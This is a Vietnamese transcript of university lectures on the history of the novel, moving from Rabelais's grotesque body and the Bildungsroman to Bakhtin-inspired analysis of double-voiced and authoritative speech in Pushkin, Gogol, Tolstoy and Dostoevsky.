Rabơle: Pantaguyen và …Những người khổng lồ trong tiểu thuyết của Rabơle chính là biểu hiện của toàn dân và sự lớn lên của thể xác toàn dân. Có hai công thức miêu tả sự lớn lên này. Có thể lấy thí dụ trong văn hóa cổ đại: bức tượng vệ nữ ở Milô, thể hiện vẻ đẹp hoàn mĩ và quan niệm lí tưởng về vẻ đẹp phụ nữ đến giai đoạn trưởng thành. Tinh thần phục hưng cao cả cũng thể hiện như vậy. Tôi nhắc đến Lêôna đờ Vanhxi và Raphaen. Thân thể con người trong nghệ thuật phục hưng bao giờ cũng là vẻ đẹp không phải là tuổi thơ nhưng không phải là tuổi già. Nghệ thuật đó không miêu tả vẻ đẹp phụ nữ khi sinh nở và lúc sắp chết. Tất nhiên là không còn nghệ thuật cổ điển nữa nhưng vẫn còn thể hiện vẻ đẹp thể xác, thí dụ chuyện ăn uống, chuyện tình dục. Thí dụ, chúng ta thấy tranh của Bosh: con người được miêu tả khi ăn uống hoặc tình dục. Nghệ thuật nghịch dị miêu tả thể xác con người khi ăn uống, tình dục và các sinh thực khí. Tất cả những cái này đều có liên quan tới tiểu thuyết của Rabơle, Xécvăngtéc,   Công thức miêu tả cơ thể con người có ý nghĩa như thế nào trong việc nghiên cứu tiểu thuyết? Nghệ thuật cổ điển trên thực tế miêu tả thể xác con nguời ngoài dòng thời gian: không có tuổi thơ, không có tương lai là tuổi già. Trong đấy nghệ thuật nghịch dị miêu tả quan tâm cuả con người trong tương quan với thời gian. Nghệ thuật nghịch dị luôn luôn lưu ý miêu tả con người trong sự gắn bó với dòng chảy thời gian thực tế. Thực tế, con người luôn gắn bó với thời gian, nhưng đó là thời gian lịch sử. Tất nhiên các bạn có thể nghĩ rằng thời trung cổ và phục hưng, người ta quan tâm tới thể xác nên mới nói như vậy, trên thực tế, ý thức máu thịt thể xác như vậy có cả ở thời này, và chúng ta phải tìm mối liên hệ ấy. Chúng ta nói đến Chiến tranh hòa bình. Có cảnh binh sĩ tắm trong vũng lầy trước trận Bôrôđinô, đấy là các binh sĩ trong trung đoàn của Ăngđrây Bôncônxki. Lúc đó rất nóng bức, lính đều muốn bỏ quần áo để tắm. Và công tước Ăngđrây, nhìn đám đông ấy, anh ta có cảm giác ghê tởm khi nhìn thấy những cơ thể trần truồng như vậy. Lúc đó, Ăngđrây dùng một từ tiếng Pháp để nói: đấy là mồi của đại bác. Trên thực tế, từ này có vẻ gì ghê tởm “đống thịt bầy nhầy-sẽ làm mồi cho đại bác”. Trong trường hợp này, nhân vật Ăngđrây có vẻ tách biệt với cái gọi là thể xác nói chung. Nhưng trong tác phẩm còn một chỗ khác cũng nói về thể xác: khi Ăngđrây bị thương nặng trong trận Bôrôđinô, anh ta nằm trên giường bệnh, nhìn thấy xung quanh thân xác con người của những người bị thương, trần truồng, bê bết máu, mất chân mất tay, nhưng thái độ của công tước lúc này hoàn toàn thay đổi. Trên thực tế, lúc này anh ta không tiếp nhận những thể xác bên cạnh một cách ghê tởm nữa mà có cảm giác đó là máu thịt của chính mình. Bên cạnh đó, anh chàng Anatôn cũng bị cắt chân đang la hét, máu me như vậy. Thân thể những người xung quanh không được tiếp nhận như thể xác người khác, mà như của chính mình, nên anh ta thấy thương cả kẻ tình địch mà mình đã từng định bắn chết. Như vậy trong văn hóa, văn học Nga, ý thức về máu thịt, dòng tộc vẫn được gìn giữ. Tất nhiên chúng ta có thể lấy nhiều thí dụ về thể xác trong Tội ác và trừng phạt. Như vậy, qua đó chúng ta thấy ý nghĩa của tiểu phục hưng có ý nghĩa trong sự phát triển tiểu tthuyết nói chung. Tiểu thuyết thời phục hưng đã cố gắng chỉ ra mối quan hệ mật thiết giữa con người và dòng chảy lịch sử, không chỉ quan tâm mối quan hệ thể xác. Thể xác đang lớn dần lên, chính là sự phát triển lớn dần lên của ý thức nhân loại. Xung đột giữa quan điểm con người trong một thời điểm lịch sử đã được nói đến trong tiểu thuyết của Xécvăngtéc. Để thấy được ý nghĩa quan trọng của tiểu thuyết phục hưng được tiếp nối qua sự xung đột của các quan điểm khác nhau có thể lấy thí dụ của Đốtxtôiépxki, Tuốcghênhiep. Có thể nói, tiểu thuyết châu Âu thế kỉ 19 là chịu ảnh hưởng trực tiếp của phục hưng. Tuy nhiên còn có giai đoạn thế kỉ 18. Đặc biệt là nửa sau của thế kỉ ánh sáng, thời kì hình thành những nguyên tắc đầu tiên của tiểu thuyết hiện đại. Thế kỉ 18, nửa đầu, loại hình tiểu thuyết truyền thống vẫn tiếp tục: bợm nghịch, tiểu thuyết cổ đại… Đặc biệt khi nói về tiểu thuyết cổ đại, đó là tiểu thuyết phiên lưu diễn tình. Hôm qua chúng ta đã nói đến tiểu thuyết phiên lưu diễm tình: XXXX và Listaphônt. Một đôi tình nhân yêu nhau, chia li, trải qua những cuộc phiên lưu kì lạ, và cuối cùng họ cưới nhau. Nếu như các bạn đã đọc truyện vừa nổi tiếng Canđích của Vônte, trong truyện này cũng có một đôi tình nhân, họ phải chia ly, anh ta bị lưu lạc cuối cùng họ tìm thấy nhau và cưới nhau. Nó cũng giống như tiểu thuyết diễm tình cổ đại, nhưng thực tế Vonte đã giễu nhại tiểu thuyết diễm tình cổ đại. Cô gái Rikônda, trong tiểu thuyết này, đã mất đi sự trinh trắng, qua tay nhiều người, thậm chí còn bị xẻo mông. Còn anh kia không những nhận thấy cô ta không còn trinh trắng mà thậm chí còn rất xấu. Nhưng sơ đồ tiểu thuyết phiên lưu diễm tình này vẫn còn giữ lại một số nét gì đó. Cũng có thể nói về tiểu thuyết bợm nghịch. Những cuộc phiên lưu của Jile Blas (tác giả Lexacs). Đây là tiểu thuyết bợm nghịch điển hình. Suốt từ thời cổ đại đến thế kỉ 18 đều theo mô hình định sẵn: dù nhân vật là tình yêu hay bợm nghịch cũng là được định sẵn. Nhưng sang nửa sau thế kỉ 18 đã xuất hiện loại hình nhân vật có sự vận động nội tâm, có sự vận động và đổi thay. Chúung ta vừa nói về nguyên tắc biến đổi từ thời phục hưng là văn hóa đã có thay đổi. Nhưng thực sự, biến đổi chỉ là đến nửa sau thế kỉ 18, những nhân cách được hình thành, qua tiểu thuyết giáo dục. Để thấy được loại hình tiểu thuyết giáo dục này, có thể thí dụ cuốn tiểu thuyết giáo dục điển hình nhất: Cuộc đời và những năm tháng học tập của Wilgelm Meister (Gớt).

Tôi lấy thí dụ khác. Đặc điểm nổi bật trong Đêvit Cơpơphin của Đíchken, là nhân vật tích lũy vốn sống và trưởng thành. Cuộc sống đã dạy anh ta kinh nghiệm sống. Tiểu thuyết Nga thế kỉ 19, cũng có nhiều tác phẩm kiểu này, thí dụ bộ ba tác phẩm của Tônxtôi: Thời thơ ấu, Thời thanh niên, Thời trưởng thành… Các bạn có thể hỏi là loại hình tiểu thuyết có biến đổi nội tâm là như thế nào? Và nó liên quan thế nào tới vấn đề thể xác trong văn học mà chúng ta đã nói. Mối liên hệ đó có và bây giờ tôi cố gắng chỉ ra.

Phát kiến, khám phá sự vận động cuộc sống tới con người, có công rất lớn của nhà văn Anh: Lorens Stern. Tôi muốn nói đến tác phẩm Tristram Schandi. Ông là người đầu tiên ở châu Âu miêu tả vận động nội tâm như một dòng chảy. Nguyên tắc miêu tả tâm lí như một dòng chuyển động, là nguyên tắc quan trọng của miêu tả tâm lí. Tiểu thuyết Phục sinh của L.Tônxtôi, trong đó ông viết con người như một dòng sông lúc nhanh lúc chậm, lúc mạnh lúc bình thường như dòng chảy tự nhiên. Nếu như không có ý thức về con người như một dòng chảy thì không có  loại hình tiểu thuyết này. Nhưng nguyên tắc xây dựng tâm lí nhân vật như một dòng chảy ra đời khi xuất hiện trong tiểu thuyết giáo dục, nhưng thực ra nó phổ biến rộng hơn. Tiểu thuyết giáo dục thường bao giờ cũng kết thúc bằng việc nhân vật có chỗ đứng trong cuộc sống, nghĩa là thực tế đã giúp anh ta tìm và xác định cho mình chỗ đứng trong cuộc sống. Trong Đêvit Cơpơpin, cuối cùng nhân vật đã tìm cho mình chỗ đứng và tổ chức cho mình chỗ đứng đó. Cái mà nhân vật đạt được thường rất quan trọng đối với cuộc sống riêng và gia đình anh ta. Nhưng từ việc nhân vật đạt được sự ổn định của mình này lại không hề ảnh hưởng gì tới sự vận động chung của thế giới. Ở thời điểm này, tiểu thuyết giáo dục có vẻ đối lập với nhân vật đã được định sẵn. Trong loại hình nhân vật được định sẵn, chỉ có hòan cảnh thay đổi còn nhân vật không thay đổi, còn tiểu thuyết định sẵn, chỉ có nhân vật thay đổi, còn hoàn cảnh vẫn như vậy.

Cuối thế kỉ 19 xuất hiện loại hình tiểu thuyết thứ 3: nhân vật và cả thế giới có sự đổi thay. Và cái quan trọng này là cái đổi thay của nhân vật và thế giới có liên hệ mật thiết với nhau. Nghĩa là nhân vật trở thành chủ thể sáng tạo lịch sử. Điều này đúng với tiểu thuyết châu Âu và Nga thế kỉ 19. Trong Chiến tranh và hòa bình, Tônxtôi đã chỉ ra trạng thái khủng hoảng lịch sử của thế giới. Ông nói về sự phân rã của thế giới cũ, những nguyên tắc của thế giới cũ liên quan tới sự vận động của con người. Nhân vật của Tônxtôi thay đổi những tiêu chí xác định giá trị, chuẩn mực cuộc sống. Những giá trị truyền thống cũ trước 1812 được miêu tả như đã diễn ra trong dòng thời đại mà những giá trị cũ đã mất đi giá trị của nó. Khi quân Pháp tiến đến Xmôlen, người dân đã tự phóng hỏa ngôi nhà của mình. Một nhà buôn đã hy sinh tất cả gia sản của mình trong đám cháy đó, ông tự tay tiêu hủy tất cả bằng niềm vui sướng. Điều đó lí giải vì sao người dân Mátxcơva tự tay đốt ngôi nhà của mình. Có nhiều giá trị trong tác phẩm, không phải chỉ là ý thức về gia sản, mà cả về thái độ ý thức về giai tầng của mình. Giữa con người xuất hiện một quan hệ hoàn toàn khác, con người tự mình dựng xây nên cuộc sống của chính mình. Tuy nhiên tiểu thuyết đó kể ra chuyện xảy ra trong chiến tranh, nhưng cuối cùng cuộc sống vẫn trở về dòng chảy của nó. Nhưng Tônxtôi đã miêu tả sự đổi thay của thế giới và con người cùng đổi thay với thế giới ấy. Trong tiểu thuyết của Đốtxtôiépxki, nhân vật cũng đứng trước sự quyết định lịch sử: lựa chọn phương án tương lai cho chính mình và cho toàn thế giới. Tônxtôi miêu tả tâm lí con người luôn có sự vận động, đổi thay. Nhưng với Tônxtôi, phạm trù quan trọng nhất là sự hình thành nhân vật, còn đối với Đốt, là sự thử thách.

Như vậy, chúng ta đã điểm lại những điểm cơ bản của lịch sử hình thành tiểu thuyết: định sẵn, giáo dục, nhân vật cùng đổi thay với thế giới. Gắn với loại thứ 3 là những tiểu thuyết vĩ đại nhất trong lịch sử tiểu thuyết châu Âu thế kỉ 19. Chính trong giai đoạn thế kỉ 19 này, tiểu thuyết Nga giữ vai trò đặc biệt quan trọng.

Để có thể xác định đặc điểm tiểu thuyết Nga thế kỉ 19, cần so sánh với tiểu thuyết châu Âu thế kỉ 19. Nói cách khác là nhiệm vụ đặt ra cho chúng ta là tìm cấu trúc chung cho tiểu thuyết Nga 19. Tôi muốn nói về cái gọi là cấu trúc chung. Tôi muốn nói đến phát kiến của nhà văn hóa dân gian vĩ đại Propp, tôi tin chắc rằng các nhà ngữ văn học đều biết đến ông này. Năm 1928 Prôpp công bố Hình thái học cổ tích. Khi khảo sát về số lượng khổng lồ về truyện cổ tích, ông đưa ra cấu trúc phổ quát nhất về truyện cổ tích thần kì. Trong nghệ thuật chỉ có các biến thể, dựa trên những cấu trúc phổ quát. Tất nhiên bây giờ chúng ta cố gắng tìm cấu trúc phổ quát này cho tiểu thuyết Nga 19. Tôi nói dựa trên công trình của Bakhtin và của tôi, công bố năm 1988, tái bản 1997, nxb Tổng hợp ĐHNhân văn quốc gia Nga. Tôi chỉ còn 1 bản, hy vọng các bạn đọc được cuốn sách này và phổ biến cho sinh viên của các bạn. Bây giờ tôi xin trình bày những đặc điểm cơ bản.

Chúng ta bắt đầu từ việc xác định quy chuẩn cho thể loại và thấy rằng tiểu thuyết là thể loại chưa được quy chuẩn. Những thể loại được quy chuẩn đã được nhắc đến trong Nghệ thuật thơ ca của Boalô. Trên thực tế, những thể loại được quy chuẩn thực chất là những mô hình truyền thống. Tất nhiên không thể nói rằng truyện cổ tích thần kì không phải là thể loại quy chuẩn, nó là những sáng tác dân gian tự phát. Thể loại bi kịch chính là thể loại đã dược quy chuẩn, nguyên tắc của nó đã được ghi nhận từ thời Arixtôphan và được Boalô ghi lại. Nhưng thể loại quy chuẩn rất dễ mô hình lại mẫu chuẩn của nó. Tiểu thuyết lại không có quy chuẩn, các tiểu thuyết hoàn toàn không giống nhau. Thậm chí, có những tiểu thuyết của Tônxtôi, Đốtxtôiépxki thường có khi đối lập với nhau. Còn tiểu thuyết của Tuốcghênhiép chẳng giống gì tiểu thuyết của hai ông kia. Việc xác định cấu trúc phổ quát của tiểu thuyết Nga thế kỉ 19 là vô cùng khó khăn. Ở đây chúng ta cần đến những giả định và sau đó sẽ có kiểm nghiệm cụ thể. Đối với thể loại quy chuẩn thì dễ xác định, còn tiểu thuyết là chưa quy chuẩn nên cần phải có những thước đo bên trong. Thước đo nội tại là khái niệm chưa rõ, cần có thí dụ cụ thể: trong máy bay có một bộ phận là qiroscop, là bộ phận giữ định hướng ổn định trong máy bay dù đang ở tư thế nào. Tiểu thuyết không có ranh giới về thể loại, nó có thể hòa vào bất cứ thể loại nào. Nhưng dù sao, sự vận động tiểu thuyết bao giờ cũng có một cái gì ổn định, kiểu như bộ phận kia trong máy bay giữ cho ổn định dù bất kì đường bay như thế nào. Vấn đề là xác định bằng lời, tại sao nó là tiểu thuyết. Vậy, nó phải có cái gì đó, là dù qua nhiều thời đại, với các phương án khác nhau tiểu thuyết vẫn là tiểu thuyết.

Tiểu thuyết dù khác nhau vẫn có một cái chung: mâu thuẫn nội tại. Chúng ta bắt đầu tìm hiểu tiểu thuyết thế kỉ 19 bằng cấu trúc ngôn từ. Trong ngôn từ bao giờ cũng có sự đa giọng, kết hợp các loại ngôn ngữ khác nhau: địa phương, phi chuẩn, tiếng nói vùng miền khác nhau, các nhân vật nói khác khau. Thục tế là có đa thanh, phức điệu. Tiểu thuyết còn có nói lời của người khác. Vận động của ngôn từ trong tiểu thuyết có thể diễn ra ngay trong một lời nói của nhân vật. Thí dụ, tiểu thuyết Anna Karênina: Lời của Karênin (chồng Anna) nói khi ra đón Anna: “Đúng, em thấy đấy, như một người chồng dịu dàng, như mới sang năn thứ hai sau ngày cưới, khi còn như thiêu đốt bởi khát khao được gần em – ông nói bằng giọng thanh thanh chậm rãi mà ông hầu như luôn dùng để nói với nàng, giọng nửa như giễu cợt những gì chính mình đang nói.” Câu nói này như vừa có lời của Karênin vừa có lời anh ta mượn của người nào đó. Câu nói này vốn không phải từ ý thức anh ta, mà mượn lời người khác trong hoàn cảnh đó để nói với vợ. Anh ta nói lời người khác, nhưng với ý thức của mình. Người khác nói câu này, nhưng Karênin có vẻ giễu cợt ý tưởng đó, cho nên tác giả nhân thấy sự giễu cợt đó. Trong cuộc sống, chúng ta luôn có những lời người khác, trong mình, và chúng ta có thể đồng tình, mỉa mai, hoặc phản đối, giễu cợt với những lời nói đó. Trong văn học, lời nói loại này thường có trong văn xuôi, còn trong trữ tình không có. Tình huống rơi vào lời người khác như vậy, Bakhtin gọi là lời hai giọng, một lời nói có hai ý thức. Đối với tiểu thuyết 19, lời hai giọng này là một nét đặc trưng. Trong thơ trữ tình không có hai giọng như thế này, chỉ có trong tiểu thuyết. Tác giả trong thơ trữ tình thường nói lên lời nói của riêng mình về thế giới. Tác giả trữ tình nói như người tiên tri, lời thánh hiền, lời kinh thánh, đấy là lời nói không chấp nhận sự phản đối. Đối với châu Âu, sách thánh hiền như vậy thường là người nói trong kinh sách không có sự phản đối nào của người tiếp nhận. Trong tiểu thuyết, còn có cái đời thường, đương đại. Chính lời nói đời thường, đứng ngoài tính riêng tư mà lại là bản chất của đời sống. Lời nói của tác giả trong thi ca là không cần quan tâm tới người tiếp nhận, coi như là chấp nhận, lời trữ tình như lời trong kinh sách, lời thánh hiền, cho nên tổ chức ngôn từ trong thi ca là lời một giọng. Như vậy đây là luận điểm xác định cấu trúc tiểu thuyết Nga thế kỉ 19: sự kết hợp lời hai giọng và một giọng, lời có định hướng, có uy tín và lời nói đời thường. Sự đối lập lời một giọng và hai giọng đó là mâu thuẫn, là dù có mâu thuẫn nhưng trong trạng thái cân bằng của cả hai giọng.

 

Bài thứ 5

Như vậy là chúng ta đã xác định cấu trúc phổ quát của tiểu thuyết. Tuy nhiên, trong những trường hợp cụ thể vẫn có những biến thể. Để dễ hiểu, tôi vẽ sơ đồ như thế này: tác phẩm văn học là một vòng tròn. Một trong hai thực tại là chúng ta, người đọc đang sống, Chúng ta không tham gia vào tác phẩm. Trong tác phẩm có hai sự kiện khác nhau: sự kiện xảy ra và sự kiện kể. Chúng ta ta, người đọc, gần gũi hơn với sự kiện kể. Khi câu chuyện được kể, chúng ta hình dung ra câu chuyện được kể và nhân vật. Chúng ta thấy sự kiện diễn ra và nhân vật ấy tạo thành cốt truyện, trong một không gian và thời gian và một thời điểm nhất định. Thí dụ trong thời điểm tôi đang dạy này. Nhân vật cũng đang sống trong dòng chảy thực tại ấy. Tất cả thực tại nhân vật là thời gian và không gian anh ta sống. Chúng ta phải trả lời ba câu hỏi:

  1. Thế giới thực tại nhân vật tiểu thuyết thế kỉ 19 có khác gì so với thực tại nhân vật tiểu thuyết trước nó.
  2. Xác định tổ chức ngôn từ tiểu thuyết tk19 khác gì tiểu thuyết trước đó?
  3. Chúng ta xác định ranh giới giữa thế giới thực tại nhân vật và thế giới tác giả, độc giả tiểu thuyết tk19, khác gì tiểu thuyết trước đó. Ranh giới này thì tác giả không vượt qua được nhưng người đọc có thể vượt qua được. Để trả lời những câu hỏi này cần có giả thuyết khoa học và có kiểm chứng.

Giả thuyết của tôi là: trong mỗi một phương diện của cấu trúc tiểu thuyết thì có một trương lực của nó. Tiểu thuyết tk19 có tồn tại hình thức cũ và hình thức mới. Cái cũ đó có thể rất sơ khai. Trong Đôn Kihôtê, có cả hai sơ đồ sơ khai: lũy tiến và xxx, nhưng trong Đôn Kihôtê có xung đột giữa hai quan niệm khác nhau, thể hiện hai thời đại khác nhau. Xuất hiện cốt truyện tình huống. Tình huống cốt truyện bao giờ cũng xây dựng trên mâu thuẫn, và mâu thuẫn đó là động lực cho câu chuyện phát triển. Trong truyện cổ tích thần kì, đó còn là mâu thuẫn giữa sự sống và cái chết. Nhưng những mâu thuẫn này không mang tính lịch sử. Vậy tình huống này trong tiểu thuyết tk19 là thế nào? Hôm trước tôi nói tiểu thuyết tk19 có sự kết hợp ngôn từ: đa giọng và có cả lời tác giả. Tiểu thuyết Nga tk19 có kết hợp đa giọng điệu và một giọng. Nếu chúng ta kiểm chứng được rằng trường hợp này có trong tiểu thuyết tk 19 thì phải trả lời vì sao nó như vậy. Chúng ta bắt đầu từ Epghênhi Ônêgin. Có khó khăn là tiểu thuyết này viết bằng thơ. Tiểu thuyết của Puskin có lời đa giọng, đa thanh, hai giọng. Ngoài ra còn có những cái đặc biệt không có trong các tác phẩm khác: lời tác giả xưng tôi. Người đọc không có lời nói nào trong tác phẩm. Tác giả cũng không có lời trực tiếp nào trong tác phẩm. Toàn bộ tác phẩm như một chỉnh thể mới là lời nói của tác giả, tác giả sáng tác nên lời nhân vật, lời người kể chuyện. Lời nói trực tiếp của người kể là lời của hình tượng tác giả. Đầu tác phẩm có lời nói xưng tôi. Kiểu hình tượng tác giả giống như kiểu chân dung tự họa trong hội họa. Nhà thơ xưng tôi trong Epghênhi Ônêgin có sự thay đổi thường xuyên phong cách và nhịp điệu: lúc được nói bằng ngữ điệu trang trọng (thật hạnh phúc được chết từ khi còn sung sức). Đó là ví dụ về lời trực tiếp của người kể chuyện xưng tôi trong Puskin.

Trong tổ chức ngôn từ của Puskin, có sự đồng thời tồn tại của hai dạng thức ngôn từ khác nhau.

Trong tiểu thuyết Những linh hồn chết, cũng có hình tượng tác giả- đó là nhà thơ, người viết trường ca Những linh hồn chết, tự nói lên những suy ngẫm của mình về số phận lịch sử của nước Nga. Tất nhiên không phải lúc nào nhà thơ trong tác phẩm cũng nói trang trọng như vậy. Có lúc anh ta nói bằng giọng đùa cợt, mỉa mai… song khi anh ta nói bằng giọng trang trọng, người ta hiểu rằng đó là chân lí không thể phủ nhận. Sự đa dạng trong lời nói của nhân vật trung tâm của tác phẩm: đối với mỗi nhân vật khác nhau, nhân vật có những cách nói khác nhau, cách nói của nhân vật biến đổi hết sức đa dạng. Như vậy, cái gọi là đa giọng, đa thanh, phức điệu có thể tìm thấy trong Puskin, trong Gôgôn.

Trong Chiến tranh và hòa bình, lời trực tiếp của tác giả đóng vai trò rất quan trọng. Có những đoạn rất dài trữ tình ngoại đề bình luận về chính trị xã hội, trong những đoạn ấy có hình tượng tác giả. Từ cái tôi trong những đoạn ngoại đề ấy, Tônxtôi muốn khẳng định một chân lí chung không thể phủ nhận. Ví dụ: trong quyển 3 của Chiến tranh và hòa bình, Tônxtôi bình luận về sự khởi đầu chiến tranh 1812, khi quân Pháp vượt qua sông Neman. Người kể chuyện tác giả tuyên bố việc bắt đầu một cuộc chiến tranh đi ngược lại lí trí tỉnh táo của con người, bản chất tự nhiên của nhân loại. Nhưng Tônxtôi nói bằng giọng đó là chân lí không thể phủ nhận. Ngoài ra, trong tác phẩm, có những lời nói đa dạng, ngôn từ phức điệu với số lượng lớn lời hai giọng. Có những nhân vật hầu như hoàn toàn nói bằng tiếng Pháp: công tước phu nhân nhỏ bé. Có những bức thư được viết hoàn toàn bằng tiếng Pháp. Người nông dân nói bằng thứ ngôn từ hoàn toàn khác với người quí tộc. Ngay cả những người quí tộc cũng nói theo những cách rất khác nhau (Pie và Andray). Tôi lưu ý đến một hiện tượng đặc biệt quan trọng, chỉ có ở Tônxtôi mà không có ở Puskin hay Gôgôn, đặc biệt quan trọng đối với tiểu thuyết Anna Karênina và Phục sinh, đó là những trích dẫn từ Kinh Thánh. Đề từ của Anna được trích từ Kinh thánh: việc báo oán thuộc về ta, ta tự phán xét, đó là lời của Chúa. Trong Phục sinh, cuối tác phẩm có những đoạn trích dẫn rất dài từ Kinh Thánh.

Trong Đốtxtôiépxki, cũng có những trích dẫn từ Kinh Thánh: Xônhia đọc to đoạn Kinh thánh về sự hồi sinh của Naza cho Raxcônhiốp nghe. Trong Chàng Ngốc, ở giữa tác phẩm, có nhân vật đọc trọn vẹn bài thơ về Chàng hiệp sĩ mặt buồn.

Trong Đốtxtôiépxki, có hai loại chân lí: chân lí của thi ca và chân lí của Kinh sách. Trong tác phẩm của Đốtxtôiépxki, có sự đa dạng ngôn từ, mỗi nhân vật nói theo cách thức riêng, sự phức điệu rất dễ nhận biết. Có những lúc ngôn từ va chạm quyết liệt. Ví dụ, Raxcônhicốp nói: anh muốn thử xem anh là con sâu bọ run rẩy hay là kẻ có quyền, Xônhia nói: quyền giết người ư?

Quan điểm của Bakhtin: lời nói ý thức hệ (hai loại lời: lời quyền uy và lời xác tín nội tại). Trong thực tế, nếu muốn nói lời xác tín nội tại của mình, ta có thể hình dung người khác không đồng ý. Lời nội tại có nguồn gốc từ thuật hùng biện. Lời quyền uy xuất hiện sớm hơn, là loại lời cổ xưa, tồn tại trong kinh sách, là lời của thầy, chúa, thượng đế, những lời nói không thể phủ nhận, không có ý thức từ bên trong là thuyết phục người khác như lời nội tại. Lời quyền uy tồn tại trong cả thời hiện đại, khi con người muốn đóng vai trò là quan tòa, tiên tri…

       Vì sao tiểu thuyết Nga thế kỉ 19 lại sử dụng hai loại lời như vậy, vừa phức điệu vừa độc điệu như vậy? Trong đời thường, các dạng thức ngôn từ cũng rất đa dạng, phong phú, có những thứ tiếng khác nhau, ngôn từ của các tầng lớp khác nhau, thế hệ khác nhau. Điều đó thể hiện tính tương đối của chính kiến cá nhân, mỗi người trong xác tín cá nhân cũng có một phần đúng và một phần sai, liên quan đến tính tương đối của chân lí trong đời thường. Nhưng khi chúng ta sống trong một thế giới có quá nhiều chân lí cá nhân, ta càng khát khao biết một chân lí tuyệt đối, chung cho mọi người. Chính lời trực tiếp của tác giả trong tác phẩm đã đáp ứng nhu cầu về một chân lí tuyệt đối không thể phủ nhận này trong một thế giới phức điệu.

 

Bài thứ 6

Để kết thúc bài giảng về tiểu thuyết Nga tk19, tôi nhắc lại sơ đồ thế giới :

  1. Thế giới lời nhân vật+ người kể chuyện : ngôn từ đa dạng, phức điệu. Điều này có trong tiểu thuyết Nga tk19: lời độc điệu + lời phức điệu
  2. Thế giới nhân vật – cốt truyện: kết hợp cốt truyện cổ sơ: chu kì và lũy tiến. Hai loại cốt truyện này có trong tiểu thuyết Nga tk19. Kết hợp cốt truyện cổ sơ kết hợp với cốt truyện tình huống lịch sử. Mỗi một nhân vật có một quan niệm riêng về công lí của mình cho nên có những ứng xử riêng. Va chạm là va chạm giữa những nguyên tắc riêng này. Hôm trước, khi nói về cốt truyện này, chúng ta đã nhận thấy có sự quan hệ qua lại giữa các cốt truyện sẽ có những ý nghĩa nào đó. Lời của tác giả có sức mạnh mang ý nghĩa công lí chung cho tất cả mọi người, có một quyền uy, kết hợp lời với loại nội tại của nhân vật. Chúng ta nói đến đối thoại nhân vật như là đối thoại quan điểm, thế giới phức điệu cá nhân này có tính sáng tạo nhưng không tiến tới chân lí chung. Chân lí chung ấy chỉ thể hiện qua lời quyền uy của tác giả. Chúng ta chưa chỉ ra quan hệ rõ ràng giữa các hình thức cốt truyện tạo ra nghĩa như thế nào? Trong thế giới nhân vật, có hai sự kiện: sự kiện gặp gỡ bên ngoài, và sự kiện nội tâm, đây là sự gặp gỡ, va chạm giữa các hệ quan điểm khác nhau. Thí dụ, khi Đôn Kihôtê giải phóng cho đoàn tù khổ sai, đó là sự kiện bên ngoài, nhưng bên trong chính là thái độ của Đôn Kihôtê  và Panxa về đoàn tù khổ sai. Như vậy chúng ta có thể nói tới sự kiện bên ngoài và bên trong của tiểu thuyết Nga tk 19. Những sự kiện bên ngoài, bề mặt là cốt truyện cổ sơ. Trong Những linh hồn chết, mắt xích sự kiện như đến thành phố, gặp gỡ các địa chủ và rời thành phố, cốt truyện chu kì đã kết hợp với cốt truyện lũy tiến làm nên bề mặt tác phẩm. Sự kết hợp hai loại cốt truyện này mang lại ý nghĩa gì? Chúng ta thấy rằng loại chu kì lại thường thấy trong truyện cổ tích, còn loại móc xích thường là cốt truyện phiên lưu. Vậy trong tiểu thuyết Nga tk19 nó có ý nghĩa gì? Trong truyện cổ tích thần kì, khi nhân vật đi ra khỏi nhà, có thể đi tới cõi âm, sau đó về nhà, chu kì này thể hiện ý nghĩa chung của quy luật vận động nội tại. Đối với quan niệm của người cổ xưa: hạnh phúc chỉ có thể tìm thấy ở cõi khác: âm, dưới nước, trên trời…Những điều kì diệu chỉ thuộc về thế giới khác.  VN có chuyện hồ Hoàn kiếm: thanh kiếm thần là lấy lên từ thế giới khác, cũng là nói đến quan niệm như vậy. Nhân vật trong quá trình phiên lưu của họ đã mang về con ngựa thần, chim ánh sáng …hoặc cả vị hôn thê hay cô gái xinh đẹp. Điều này thể hiện sự tiếp nối dòng giống, là kết hợp với cõi sinh tử kia. Trong cốt truyện chu kì ấy thể hiện quy luật về trật tự chung và sự vận động của đời sống. Cốt truyện lũy tiến lại có ý nghĩa khác. Thí dụ truyện cổ tích: có hai ông bà già khôno có con, họ lấy đất nặn ra đứa con, đứa bé này lớn lên và ăn hết những gì ông bà có. Nó ăn hết mọi cái  trong nhà, rồi ra ngoài sân ăn tất cả gà qué, ra ngoài đường, ăn tất cả những gì gặp, ăn no quá, vỡ bụng. Kiểu cốt truyện lũy tiến như vậy có ý nghĩa như thế nào? ở đây chúng ta thấy mỗi một tình cờ, ngẫu nhiên lại nảy sinh tình cờ ngẫu nhiên khác, và cốt truyện là sự móc nối chúng lại. Cốt truyện chu kì ấy tạo thành ý thức về thế giới là chỉnh thể, còn cốt truyện lũy tiến không mang ý thức đó. Vậy khi kết hợp nó có ý nghĩa gì? Nó thể hiện mâu thuẫn giữa quy luật và sự tình cờ ngẫu nhiên, giữa cái tất yếu và cái ngẫu nhiên của thế giới tiểu thuyết tk19. Đấy là cốt truyện bề mặt, còn cốt truyện bề sâu? Sự gặp gỡ giữa các ý thức khác nhau dường như không có quy luật gì cả. Mối quan hệ giữa ý thức, quan điểm, của hai nhân vật như Epghênhi Ônêghin và Tachiana, Raxcônhicốp và Xônhia, Cutudốp và Napôlêông… là không XXXX(?). Thực tế có mâu thuẫn giữa tiểu thuyết như là một chỉnh thể và quan điểm về sự hỗn độn ngẫu nhiên.
  3. Ranh giới giữa thế giới nhân vật và thế giới tác giả, độc giả.

Chúng ta thấy mối quan hệ giữa người kể và nhân vật, có quan hệ giữa hai hình thức chỉnh thể. Đối với với tiểu thuyết nói chung, có sự giao tiếp gần gũi với thế giới độc giả, nhân vật. Tiểu thuyết Nga tk19, nhân vật và người đọc thường là người cùng thời với nhau. Puskin thường cho rằng độc giả là cùng thời với nhân vật, câu chuyện là xảy ra ở thời hiện tại chưa hoàn tất. Người đọc tiểu thuyết Nga tk19 đều có thể hình dung mình bên cạnh nhân vật trong tác phẩm. Khi hình dung chúng ta bên cạnh nhân vật, tức là hình dung như đang sống trong thế giới nhân vật, nhưng vẫn ở bên ngoài họ. Họ có vị thế vừa đứng bên trong, vừa ở bên ngoài câu chuyện. Như vậy, họ có vùng giao tiếp gần gũi, họ phải có ý thức đứng ngoài câu chuyện của mình. Khi đứng ngoài, họ phải hình dung thế giới ấy như thế nào? Ý nghĩa của cái tương lai trong tiểu thuyết Nga tk19: tương lai của nhân vật, của tác giả sẽ ra sao?

